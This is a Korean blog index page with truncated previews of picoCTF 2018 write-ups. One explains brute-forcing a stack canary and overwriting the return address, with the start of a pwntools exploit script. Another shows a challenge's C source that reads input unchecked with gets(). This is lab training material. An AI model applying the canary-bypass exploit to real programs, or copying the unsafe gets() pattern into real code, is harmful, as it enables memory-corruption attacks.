제리의 블로그

picoCTF 2018 buffer overflow 3 Binary Exploitation

요약4바이트 길이의 canary 값이 고정되어 있기 때문에 1바이트씩 '\x00' 부터 '\xff' 까지 넣어봐서 "stack smash" 가 뜨는지 확인하면 "4xV," 가 canary 임을 알 수 있고 이제 RET에 flag를 출력해주는 함수 elf.sym.win 로 덮어씌워주면 해결된다. from pwn import * import string import sys #context.log_level = 'error' e = ELF('./vuln') CANARY = '4xV,' CANARY_LEN = len(CANARY) print(CANARY_LEN) len = 32 + CANARY_LEN + 0x10 + 4 #for c in range(0x100): p = process('./vuln') p.rec..
CTF/pwnable 2018. 10. 3. 00:52
picoCTF 2018 assembly-3 Reversing

Description What does asm3(0xb3fb1998,0xfe1a474d,0xd5373fd4) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-3_0_64e940c92852f106e798ceac9b22aa25. end_asm_rev.S: .intel_syntax noprefix .bits 32 .global asm3 asm3: push ebp mov ebp,esp mov eax,0x..
CTF/reversing 2018. 10. 2. 22:34
picoCTF 2018 shellcode Binary Exploitation

programSource #include #include #include #include #include #define BUFSIZE 148 #define FLAGSIZE 128 void vuln(char *buf){ gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); char buf[BUFSIZE]; puts("Enter a string!"); vu..
CTF/pwnable 2018. 9. 30. 12:59
Prev 1 ··· 13 14 15 16 17 18 19 ··· 31 Next